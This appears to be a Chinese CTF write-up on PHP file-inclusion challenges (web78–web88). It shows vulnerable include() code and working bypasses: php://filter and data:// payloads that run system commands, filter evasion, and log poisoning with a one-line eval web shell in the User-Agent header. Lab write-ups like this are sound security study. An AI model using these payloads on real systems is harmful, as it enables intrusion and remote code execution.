目录
web78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
解法一
用include包含
/?file=php://filter/read=convert.base64-encode/resource=flag.php
解法二
php://input + POST
web79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
解法一
str_replace() 函数替换字符串中的一些字符(区分大小写)
解法二
str_replace:将php替换成???,因此php伪协议不能用了,换成data协议
data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==
<?php system('ls'); ?>#flag.php index.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
<?php system('cat flag.php'); ?>
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
大小写绕过str_replace()
open_basedir对system等函数无效
web81
看提示
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
连:都被过滤了。用日志getshell
日志文件include
原理:对网站进行访问时,日志文件会记录相关信息(请求头中的信息)
前提:知道日志文件所在,并能进行包含
步骤:
先访问网站在请求头中写入一句话(一般写在user-agent中)
然后通过post去尝试执行
执行成功后通过蚁剑连接得到shell
UA头命令执行,日志文件包含getshell
日志文件的路径:/var/log/nginx/access.log
User-Agent头构造代码:<?php @eval($_POST['chopper']); ?>
从目录里面找到flag
web88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
没有过滤:/ 可以用data协议,但要注意的是过滤了= 删去即可
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw
<?php system('ls'); ?>#flag.php index.php
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
<?php system('cat fl0g.php'); ?>